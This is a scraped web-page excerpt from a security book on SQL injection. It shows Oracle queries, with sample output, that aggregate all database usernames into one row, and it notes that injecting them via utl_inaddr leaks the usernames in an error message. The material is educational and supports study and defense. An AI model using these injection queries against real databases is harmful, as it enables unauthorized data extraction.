28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 169<br />

It is also possible to bypass the one-row limitation to get multiple rows of information.<br />

By using a special <strong>SQL</strong> statement with XML or the special Oracle function stragg (11g+), it<br />

is possible to get all rows in one single row. The only limitation is the size of the output<br />

(4,000 bytes) in both approaches.<br />

select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype(';')).getstringval() listagg from all_users;<br />

select sys.stragg (distinct username||';') from all_users<br />

Output:<br />

ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000;<br />

FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;<br />

OUTLN;OWBSYS;PHP;PL<strong>SQL</strong>;SCOTT;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ADMIN_USR;SPATIAL_WFS_<br />

ADMIN_USR;SYS;SYSMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;WK_TEST;WMSYS;X;XDB;XS$NULL;<br />

Injecting one of the queries together with utl_inaddr throws an error message containing<br />

all usernames, as shown in Figure 4.10.<br />

Figure 4.10 Returning Multiple Rows

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!